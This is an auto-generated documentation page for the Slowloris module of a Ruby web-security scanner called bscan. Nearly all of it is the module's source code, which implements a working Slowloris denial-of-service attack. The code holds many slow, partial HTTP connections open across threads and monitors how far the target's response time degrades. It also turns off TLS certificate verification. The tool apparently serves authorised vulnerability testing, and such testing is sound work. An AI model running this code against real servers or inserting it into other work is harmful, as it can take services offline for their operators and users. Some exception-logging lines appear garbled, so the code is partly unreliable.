Module: Slowloris
- Defined in:
- lib/bscan/modules/slowloris.rb
Instance Method Summary collapse
- #close_all ⇒ Object
- #get_normal_response_time(host, port, req, proto, t) ⇒ Object
- #make_conns(nbr, host, port, req, proto, t) ⇒ Object
- #random_url(req) ⇒ Object
- #read_response(s) ⇒ Object
- #run(*args) ⇒ Object
- #send_more(host, port, proto, t, con) ⇒ Object
- #send_slow(host, port, req, proto, t, con, reopen = true) ⇒ Object
- #update_info(t, con, val) ⇒ Object
Instance Method Details
#close_all ⇒ Object
160 161 162 163 164 165 166 167 168 169 170 |
# File 'lib/bscan/modules/slowloris.rb', line 160 def close_all @threadinfo.each_pair do |k,v| v.each_key do |i| begin v[i].close if v[i] update_info k,i,nil rescue end end end end |
#get_normal_response_time(host, port, req, proto, t) ⇒ Object
221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 |
# File 'lib/bscan/modules/slowloris.rb', line 221 def get_normal_response_time host,port,req,proto,t @threadinfo[t] ||= {} rsp = '' start = Time.now @bscan.activity[0]=true req = random_url req begin send_slow host,port,req,proto,t,0 s = @threadinfo[t][0] if !s raise "read failed for: #{req}" end rsp = read_response s rescue Exception => e @bscan.Log 1, "#{@mid}get_normal_response_time Exception : #{e.}" end begin s.close rescue end update_info t,0,nil [rsp,Time.now - start] end |
#make_conns(nbr, host, port, req, proto, t) ⇒ Object
172 173 174 175 176 177 178 |
# File 'lib/bscan/modules/slowloris.rb', line 172 def make_conns nbr,host,port,req,proto,t @bscan.Log 2, "#{@mid}make_conns: #{t} #{nbr}" nbr.times do |con| @bscan.Log 2, "#{@mid}make_conns connection: #{t} #{con}" send_slow host,port,req,proto,t,con end end |
#random_url(req) ⇒ Object
217 218 219 |
# File 'lib/bscan/modules/slowloris.rb', line 217 def random_url req req.sub /^(POST|GET)\s+\/@@@/, "\\1 /#{'u'+rand(1000000).to_s}" end |
#read_response(s) ⇒ Object
245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 |
# File 'lib/bscan/modules/slowloris.rb', line 245 def read_response s rsp='' while (ch=s.sysread(1)) rsp += ch if rsp =~ /Content-Length\s*:\s*(\d+)\r?\n$/i len = $1.to_i while (c=s.sysread(1)) rsp += c if rsp[-4..-1] == "\r\n\r\n" || rsp[-2..-1] == "\n\n" rsp += s.sysread(len) break end end break end end rsp end |
#run(*args) ⇒ Object
8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 |
# File 'lib/bscan/modules/slowloris.rb', line 8 def run *args @bscan = args[0] @config ||= @bscan.bscan_config @bscan.activity[0]=true @prop_pref = 'bscan.slowloris.' @prop_pref += args[2] + '.' if args[2] && args[2].length > 0 @mid = args[2]?"Slowloris.#{args[2]}.":'Slowloris.' begin proto = @config[prop('protocol')] proto ||= 'http' threads = @config[prop('threads')] threads ||= '20' threads = threads.to_i rtf = @config[prop('response_time_factor')] rtf ||= '5' rtf = rtf.to_i slt = @config[prop('sleep_time')] slt ||= '100' slt = slt.to_i cn = @config[prop('con_nbr_per_thread')] cn ||= 50 cn = cn.to_i ppc = @config[prop('pack_per_con')] ppc ||= 5 ppc = ppc.to_i http_method = @config[prop('method')] http_method ||= 'GET' req = @config[prop('request')] nreq = nil if req file = open_in_path(req) r = file.read req.gsub!(/\^M\n/,"\r\n") file.close nreq = req else host = @config[prop('hostport')] host,port = host.split(':') if host raise "Either 'host' and 'port' or 'request' params must be set" if !host or !port req = "#{http_method} /@@@ HTTP/1.1\r\n" + "Host: #{host}:#{port}\r\n" + "User-Agent: Mozilla/5.0 (X11; Linux i686; rv:14.0) Gecko/20100101 Firefox/14.0.1" if http_method == 'POST' req += "\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 7\r\n" nreq = req + "\r\nfoo=moo" else nreq = req + "\r\n\r\n" end end @bscan.Log 2, "#{@mid}run input: #{threads} #{cn} #{ppc} #{rtf} #{slt} #{host} #{port}\n#{req}" # rsp,nrt = get_normal_response_time nreq,proto @threadinfo = {} trg,host,port = get_url_host_port req,proto @infom ||= Mutex.new rsp,nrt = get_normal_response_time(host, port, nreq, proto, threads) @bscan.Log 2, "#{@mid}run normal rt: #{nrt} \n#{rsp}" # Monitoring thread Thread.new do maxtime=0 while (true) begin dl = slt/10 sleep dl < 10 ? 10 : dl rsp,rt = get_normal_response_time(host, port, nreq, proto, threads) @bscan.Log 2, "#{@mid}run monitor rt: #{rt}\n#{rsp}" maxtime = rt if rt > nrt*rtf && rt > maxtime ex = true tnum = 0 cnum = 0 @threadinfo.each_pair do |t,c| inc_t = false c.each_key do |k| if c[k] cnum += 1 inc_t = true ex = false end end tnum += 1 if inc_t end @bscan.Log 2, "#{@mid}run monitor t/c : #{tnum}/#{cnum}, will sleep #{slt/4} sec" break if ex rescue Exception => e @bscan.Log 1, "#{@mid}run Exception: #{e.}" @bscan.Log 1, e.backtrace.join("\n") end end @bscan.Log 1, "#{@mid}run exiting monitor: #{maxtime}" if maxtime > 0 issue = Issue.new "#{@mid.chop}: Slowloris succeeded", trg, "Medium", "Firm", req, rsp, "Response time under atack was #{maxtime}, which is #{maxtime/nrt} times bigger than normal response time: #{nrt}" @bscan.write_issue_state issue end end threads.times do |t| @infom.lock @threadinfo[t] = {} @infom.unlock for con in 0..cn-1 @infom.lock @threadinfo[t][con]=nil if not @threadinfo[t][con] # need to add keys if they are not there yet @infom.unlock end Thread.new do begin @bscan.Log 2, "#{@mid}run thread: #{t} #{cn}" make_conns cn,host,port,req,proto,t for pcnt in 0..ppc-1 @bscan.Log 2, "#{@mid}run after sleep: #{t} #{cn}" for con in 0..cn-1 send_more host,port,proto,t,con end sleep slt end raise Exception => e @bscan.Log 1, "#{@mid}run Exception: #{e.}" @bscan.Log 1, e.backtrace.join("\n") Thread.current.exit end end end close_all rescue Exception => e @bscan.Log 0, "#{@mid}run Exception: #{e.}" @bscan.Log 0, e.backtrace.join("\n") end end |
#send_more(host, port, proto, t, con) ⇒ Object
180 181 182 |
# File 'lib/bscan/modules/slowloris.rb', line 180 def send_more host,port,proto,t,con send_slow host,port,"Connection: Keep-Alive\r\n",proto,t,con,false end |
#send_slow(host, port, req, proto, t, con, reopen = true) ⇒ Object
184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 |
# File 'lib/bscan/modules/slowloris.rb', line 184 def send_slow host,port,req,proto,t,con,reopen=true @bscan.activity[0]=true begin s = @threadinfo[t][con] rndr = random_url(req) if !s || s.closed? || s.syswrite(rndr) != rndr.length s.close if s && !s.closed? raise "can't send more, connection closed #{host} #{port} #{t} #{con}" if not reopen @bscan.Log 2, "#{@mid}send_slow new socket #{host} #{port} #{t} #{con}" s = TCPSocket.new(host, port) if (proto =~ /https/i) ctx = OpenSSL::SSL::SSLContext.new ctx.verify_mode = OpenSSL::SSL::VERIFY_NONE s = OpenSSL::SSL::SSLSocket.new(s, ctx) s.connect end update_info t,con,s end s.syswrite(rndr) @bscan.Log 2, "#{@mid}send_slow succeeded for #{t} #{con} #{rndr}" @bscan.Log 2, "#{@mid}send_slow send_more #{t} #{con}" if !reopen rescue Exception => e @bscan.Log 1, "#{@mid}send_slow failed for #{t} #{con}: #{e.}" begin s.close rescue end update_info t,con,nil end end |
#update_info(t, con, val) ⇒ Object
155 156 157 158 159 |
# File 'lib/bscan/modules/slowloris.rb', line 155 def update_info t,con,val @infom.lock @threadinfo[t][con] = val if @threadinfo[t] @infom.unlock end |